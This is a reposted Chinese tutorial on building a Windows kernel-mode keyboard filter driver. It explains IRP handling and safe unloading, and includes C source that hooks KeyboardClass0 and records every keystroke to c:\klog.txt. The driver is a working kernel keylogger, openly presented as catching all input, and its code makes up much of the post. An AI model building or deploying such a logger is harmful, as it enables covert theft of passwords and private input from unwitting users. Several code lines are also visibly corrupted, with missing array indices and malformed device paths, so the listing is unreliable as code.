【转帖】让一切输入都难逃法眼(驱动级键盘过滤钩子)(zz)

来源:互联网 发布:远程投影仪软件 编辑:程序博客网 时间:2024/05/15 04:12
 

驱动分层结构,这是windows的特性,IO管理器的两个重要的设计:1、Windows中的任何一个驱动程序都被设计成Client/Server模式。对于客户端驱动,通过IoGetDeviceObjectPointer之类的获取服务端驱动导出的Device对象,通过IO管理器的IoCallDriver请求服务端的服务。IoCallDriver实际上根据客户端的调用参数(通过IRP)调用服务端的派遣入口(回调函数)接受客户端的请求。2、IO管理器实现一个分层的数据结构,在DEVICE_OBJECT对象中保存某种关系,自动将请求IRP发给设备栈中的最高的一个设备,由其决定如何处理,或是自身处理,或是向下传递,达到分层的目的。鉴于这种能力,分层驱动模型可以实现很多应用,如文件监控,加密,防病毒等等,由于PNP的引入,这种应用将更加广泛。
设备对象是系统为帮助软件管理硬件而创建的数据结构。一个物理硬件可以有多个这样的数据结构。处于堆栈最底层的设备对象称为物理设备对象(physical device object),或简称为PDO。在设备对象堆栈的中间某处有一个对象称为功能设备对象(functional device object),或简称FDO。在FDO的上面和下面还会有一些过滤器设备对象(filter device object)。位于FDO上面的过滤器设备对象称为上层过滤器,位于FDO下面(但仍在PDO之上)的过滤器设备对象称为下层过滤器。
图(1)


首先讲下I/O请求报文,IRP是一个具有不完全文档说明的结构,它由I/O管理器进行分配,用于在驱动程序之间传递特有的数据,对驱动程序分层时,他会注册到一个链中,如果向链接起来的驱动程序发出I/O请求,就创建一个IRP并将其传递给链中所有驱动程序。链中最顶端的驱动程序最先接受IRP,链中最后一个驱动程序,负责与硬件通信。I/O管理器准确知道链中驱动程序的数目。再分配的IRP中为链中每个驱动程序添加一个叫做IO_STACK_LOCATION的空间。IRP头部储存IO_STACK_LOCATION索引,也储存当前IO_STACK_LOCATION的一个指针,当我们调用IoCallDriver时,就会递减这个索引。具体IRP等的结构说明,请大家查看DDK吧,我就不啰嗦了。


我要讲的是一个键盘过滤驱动,他通过分层机制,捕获键盘的扫描码,转换成按键字符并保存下来。通过DeviceTree工具可以显示键盘驱动的结构:这里说一下我们程序要钩住的是KeybboardClass0我们通过DeviceTree可以看到它的设备标记。这对以后我们写程序是有很大帮助的。
图(2)


这里解释下一点,我们要动态卸载驱动程序,所以我们要挂接KeyboardClass0才可以,而不能挂接如图(1)所示的上层过滤器驱动。
要知道键盘过滤驱动是工作在异步模式下的,这一点很重要。为了得到一个按键操作,首先需要发送一个IRP_MJ_READ到驱动的设备栈,驱动收到这个irp会做什么样的处理呢?它会一直保持这个irp为pending未确定状态,因为其实现在一直没有按键操作,直到一个键被真正的按下,驱动此时就会立刻完成这个irp,并将刚按下的键的相关数据做为该irp的返回值。在该irp带着对应的数据返回后,操作系统将这些值传递给对应的事件系统来处理,然后做什么呢??系统紧接着又会立刻发送一个IRP_MJ_READ请求,等待下次的按键操作,重复以上的步骤。也就是说,任何时候设备栈底都会有一个键盘的IRP_MJ_READ请求处于pending未确定状态。这意味着只有在该irp完成返回,并却新的irp请求还未发送到的时候才会有一个很短暂的时间。由此我们想到,我们按照一般的方式动态御载键盘过滤驱动的时候,基本都是有IRP_MJ_READ请求处于pending未确定状态,而我们却御载了驱动,以后按键的时候需要处理这个irp却找不到对应的驱动就会蓝屏。
栈底有irp为什么我们的驱动御载就会有问题呢?这是由于IRM_MJ_READ是异步的,对于异步的请求,基本上我们会关心这个异步请求的结果,如何得到完成后的数据呢?大家一定想到了,设置完成例程。对,就是这样,由于我们给IRP_MJ_READ设置了完成例程,该irp完成后会调用我们的完成例程,使我们有处理返回数据的机会。在这样的情况下,我们动态御载了键盘过滤驱动,也就是说完成例程已经被我们御载掉了,而以后的再次按键在完成这个irp后会调用这个根本已经不存在了的东东,结果蓝屏就可想而知了。
那是否是不设置完成例程就不会有问题了呢?答案是肯定的。可是没有完成例程我们就没有办法处理到返回的数据,也就在很大程度上失去了键盘过滤驱动的作用了。如何做到既能设置完成例程来处理数据又可以实现动态的御载呢?
这要怎么处理呢?我们由有俩个办法,当有IRP_MJ_READ到来的时候,我不为这个irp设置完成例程,也不将该irp向下传递,而是创建一个我自己的irp,并参考前面的IRP_MJ_READ做对应的设置,然后为我自己的这个irp设置完成例程后将我的irp向下传递,并设置原来的IRP_MJ_READ为pending状态。当有按键操作时,我的irp返回触发为它设置的完成例程,在这里取得返回的数据填充前面的IRP_MJ_READ后将该IRP_MJ_READ完成返回。相当于我们使用了一个代理,而这一切都是透明的。到这里我们实现了完成例程,也就是有了处理数据的机会。
假设现在我们收到御载的请求,让我们看看当前所有的irp处于何种状态:
(1)一个我们保存的原本的IRP_MJ_READ处于pending,注意它并没向下传递,也未设置完成例程。
(2)一个我们自己构造的irp处于栈底,并注意我们为自己的这个irp设置了完成例程。
    基本就这2个irp,由于我们自己的irp有完成例程,所以直接御载会出现和上面一样的情况,导致蓝屏。如何处理呢?这里注意到是我们自己构造的irp,所以我们可以将其取消,这样并不会有太大的影响。然后我们将原来的这个IRP_MJ_READ向下传递,这里千万注意,我们自己的驱动马上要御载,所以我们传递原来的IRP_MJ_READ的时候不要给它设置完成例程。向下传递后御载我们的驱动。当然,这里还有更简单的办法,使用计数器也可以实现,还简单的多,所以我们这里使用计数器来实现。我这里不多啰嗦,详细去看程序的说明。
首先我们写驱动程序要一个入口DriverEntry,有人会问如果配置一个方便的驱动开发环境,我推荐是vc+DDK+DS,这也是他们安装的顺序,我习惯了vc++的开发环境所以,我想大多数人也是,所以即使用DDK开发也可以装个DS,呵呵:下面看程序:(我只介绍几个重要例程其他请看随文的源代码)。

NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
        NTSTATUS status={0};
        int i;
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
       
        IO_STATUS_BLOCK file_status;
        OBJECT_ATTRIBUTES obj_attrib;
        CCHAR ntNameFile[100]="//DosDevices//c://klog.txt";
        STRING ntNameString;
        UNICODE_STRING uFileName;
       
        for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
               
        //这里我们设置一个DispatchPassDown例程来处理一些请求
        theDriverObject->MajorFunction = DispatchPassDown;
//在DispatchRead中处理键盘的读请求
        theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
//        HookKeyboard hook键盘驱动
        HookKeyboard(theDriverObject);
        //建立一个线程用来记录键盘动作
        InitThreadKeyLogger(theDriverObject);
       
        /////////////////////////////////////////////////////////////////////////////////////////////
        ////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
        InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
        KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
        KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
        ////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
        RtlInitAnsiString(&ntNameString,ntNameFile);
        RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
        InitializeObjectAttributes(&obj_attrib,&uFileName,
                                                                OBJ_CASE_INSENSITIVE,
                                                                NULL,NULL);
       
        status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
                GENERIC_WRITE,
                &obj_attrib,
                &file_status,
                NULL,
                FILE_ATTRIBUTE_NORMAL,
                0,
                FILE_OPEN_IF,
                FILE_SYNCHRONOUS_IO_NONALERT,
                NULL,
                0);
        RtlFreeUnicodeString(&uFileName);
       
        theDriverObject->DriverUnload=OnUnload;
       
        return STATUS_SUCCESS;
       
}
这里说下在HookKeyboard中我们创建设备
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{   ///IRQL = passive level
        //建立过滤驱动对象
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        PDEVICE_OBJECT pKeyboardDeviceObject;
        CCHAR ntNameBuffer[50]="//Device//keyboardClass0";
        STRING ntNameString;
        UNICODE_STRING uKeyboardDevice;
       
        NTSTATUS status=IoCreateDevice(theDriverObject,
                                                                sizeof(DEVICE_EXTENSION),
                                                                NULL,
                                                                FILE_DEVICE_KEYBOARD,
                                                                0,
                                                                TRUE,
                                                                &pKeyboardDeviceObject);
        if(!NT_SUCCESS(status))
                return status;
        /////////// 设置新设备的标志与地层键盘设备标记相同
        pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
        pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
        //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
        //然而,如果创建了其它设备对象,则需要进行该清除工作。
        //对DEVICE_EXTENSION结构清0
       
        RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
       
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
        /////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////
       
        RtlInitAnsiString(&ntNameString,ntNameBuffer);
        RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
        //准备工作完成后放置过滤钩子
        IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
                &pKeyboardDeviceExtension->pKeyboardDevice);
        RtlFreeUnicodeString(&uKeyboardDevice);
       
        return STATUS_SUCCESS;
}
在DispatchRead中我们要记录挂起的IRP的数目。这在以后的卸载例程和处理例程中有用,我们在卸载驱动时可以进行判断,这里我们设置完成例程,使得IRP在返回时能得到通知,然后我们在OnReadCompletion,中处理。
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{        // IRQL = DISPATCH_LEVEL
       
       
        IoCopyCurrentIrpStackLocationToNext(pIrp);
       
        IoSetCompletionRoutine(pIrp,
                OnReadCompletion,
                theDeviceObject,
                TRUE,
                TRUE,
                TRUE);
       
       
        numPendingIrps++;  //纪录挂起的irp数目
       
        return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
在OnReadCompletion中我们完成对IRP的处理,然后递减计数。
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
        PKEYBOARD_INPUT_DATA keys;
        int numKeys;
        int i;
        KEY_DATA* kData;
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
        if(pIrp->IoStatus.Status==STATUS_SUCCESS)
        {
               
                keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
                numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
                for( i=0;i<numKeys;i++)
                {
                        if(keys.Flags==KEY_MAKE)
                                DbgPrint("%s/n","Key Down");
//上面的例程在DISPATH_LEVEL中执行,这意味着不允许文件操作,所以我们用一个链表来传递给线程。这里要注意。
                        kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
                        kData->KeyData=(char)keys.MakeCode;
                        kData->KeyFlags=(char)keys.Flags;
                        /////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
                        ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                                &kData->ListEntry,
                                &pKeyboardDeviceExtension->lockQueue);
                        KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
                       
                }
               
        }
        if(pIrp->PendingReturned)
                IoMarkIrpPending(pIrp);
        numPendingIrps--;////递减挂起的irp数目
        return pIrp->IoStatus.Status;
}
我们在卸载例程里要注意,我们要等待按下一个键后卸载才完成.
VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{                       
        KTIMER kTimer;
        LARGE_INTEGER timeout;       
        PDEVICE_EXTENSION pKeyboradDeviceExtension;
        pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
        IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
        timeout.QuadPart=1000000;//1s
        KeInitializeTimer(&kTimer);
        while(numPendingIrps > 0)
        {
                KeSetTimer(&kTimer,timeout,NULL);
                KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
               
        }
        pKeyboradDeviceExtension->bThreadTerminate=TRUE;
        KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);
        KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
                Executive,KernelMode,FALSE,NULL);
        ZwClose(pKeyboradDeviceExtension->hLogFile);
        IoDeleteDevice(theDriverObject->DeviceObject);
        DbgPrint("My Driver Unloaded!");
        return;
}